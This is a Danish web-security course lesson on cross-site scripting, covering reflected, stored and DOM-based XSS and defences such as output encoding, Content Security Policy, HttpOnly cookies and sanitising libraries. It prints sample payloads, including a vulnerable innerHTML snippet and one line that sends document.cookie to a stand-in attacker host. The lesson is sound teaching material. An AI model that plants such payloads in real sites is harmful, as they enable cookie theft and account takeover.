Cyber Security Academy · Lektion

Cross-site scripting (XSS)

Undersøg reflected, stored og DOM-baseret XSS med virkelige payloads og CSP-beskyttelse.

Lektion 2 af 413 trin

Cross-site scripting (XSS) er en gratis Cyber Security Academy-lektion på CoddyKit. Dette er lektion 2 af 4. Du kan læse alle 3 lektioner i dette læringsspor gratis i deres fulde længde — derefter låser CoddyKit PRO alle lektioner op samt praktiske øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Den er en del af læringsforløbet i Cyber Security Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. Cyber Security Academy-kurset indeholder 4 lektioner i alt.

Hvad er XSS?

Cross-Site Scripting (XSS) opstår, når en angriber indsætter skadelig JavaScript i en webside, som andre brugere får vist. Browseren udfører scriptet i offerets session, hvilket muliggør tyveri af cookies, tastelogning og manipulation af siden.

Reflekteret XSS

Reflekteret XSS (ikke-vedvarende): Det skadelige script er inkluderet i forespørgslen (f.eks. en URL-parameter) og gengives i svaret. Offeret skal klikke på et specialfremstillet link. Eksempel: https://site.com/search?q=<script>alert(1)</script>

Lagret XSS

Lagret XSS (vedvarende): Det skadelige script gemmes i databasen (f.eks. en kommentar eller et profilfelt) og leveres til alle besøgende. Det er farligere end reflekteret XSS, fordi der ikke kræves et særligt link — hver sidevisning udløser scriptet.

DOM-baseret XSS

DOM-baseret XSS opstår, når JavaScript læser angriberstyrede data (URL-hash eller forespørgselsparameter) og skriver dem til DOM'en uden sanitering. Angrebet foregår udelukkende på klientsiden; serveren ser aldrig nyttelasten.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Konsekvenser af XSS

Dette kan en angriber gøre med XSS:

  • Stjæle sessionscookies (document.cookie) → overtage kontoen
  • Logge tastetryk (stjæle adgangskoder, mens de indtastes)
  • Omdirigere til phishingwebsteder
  • Udføre handlinger som offeret (CSRF via XSS)
  • Ændre sidens udseende

XSS-nyttelaster

Enkle nyttelaster til test:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Outputkodning

Det primære forsvar: kod alt output, som brugeren kan styre, før det indsættes i HTML. Konvertér specialtegn til HTML-entiteter: < → &lt;, > → &gt;, " → &quot;.

Brug konteksttilpasset kodning: HTML, JS, URL, CSS.

Content Security Policy (CSP)

CSP er en svarheader, der fortæller browseren, hvilke scripts der må udføres. En streng CSP blokerer indlejrede scripts og begrænser kilderne:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

HttpOnly-cookies

Hvis du angiver flaget HttpOnly på sessionscookies, kan JavaScript ikke læse dem via document.cookie. Selv hvis XSS udløses, kan angriberen ikke stjæle sessionstokenet. Dette er det vigtigste afhjælpende sikkerhedslag sammen med outputkodning.

Saniteringsbiblioteker

Når brugere skal kunne indtaste HTML (f.eks. i redigeringsprogrammer til rich text), skal du bruge et saniteringsbibliotek i stedet for at skrive dit eget:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Test af XSS

Test for XSS med browserens udviklerværktøjer, Burp Suite eller automatiserede scannere. Kontrollér alle felter med brugerinput, URL-parametre, HTTP-headere og DOM-sinkfunktioner: innerHTML, document.write, eval, setTimeout med strengargumenter.

Hurtigt tjek: XSS

Hvilken XSS-type gemmer den skadelige nyttelast i databasen, så den udføres for alle besøgende på den berørte side?

Opsummering af lektionen

XSS indsætter JavaScript i sider, som ofre får vist. Typer: reflekteret (URL-baseret), lagret (bevaret i databasen), DOM-baseret (på klientsiden). Primære forsvar: outputkodning, HttpOnly-cookies og Content Security Policy. Brug DOMPurify til HTML-sanitering. Indsæt aldrig usaniterede brugerdata i innerHTML eller eval().

Gratis at komme i gang

Lær Cyber Security Academy med en AI-underviser — gratis

Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.

Kurser
76
Lektioner
303

Ofte stillede spørgsmål

Er lektionen “Cross-site scripting (XSS)” gratis?

Ja — alle 3 lektioner i læringssporet Cyber Security Academy, inklusive “Cross-site scripting (XSS)”, kan læses gratis i deres fulde længde her på webstedet. Derefter låser CoddyKit PRO alle lektioner op samt interaktive øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Cyber Security Academy-kurset indeholder 4 lektioner i alt.

Hvad lærer jeg i “Cross-site scripting (XSS)”?

Undersøg reflected, stored og DOM-baseret XSS med virkelige payloads og CSP-beskyttelse. Du øver dig i Cyber Security Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.

Skal jeg have erfaring for at begynde på Cyber Security Academy?

Der kræves ingen tidligere erfaring. Cyber Security Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 2 af 4.

Hvor lang tid tager lektionen “Cross-site scripting (XSS)”?

De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.

Kan jeg skrive og køre kode i denne Cyber Security Academy-lektion?

Ja. Alle Cyber Security Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.

Alle lektioner i dette kursus

  1. SQL-injektion: Sådan og hvorfor det virker
  2. Cross-site scripting (XSS)
  3. Cross-site request forgery (CSRF)
  4. Forkert sikkerhedskonfiguration og eksponerede tjenester
← Tilbage til Cyber Security Academy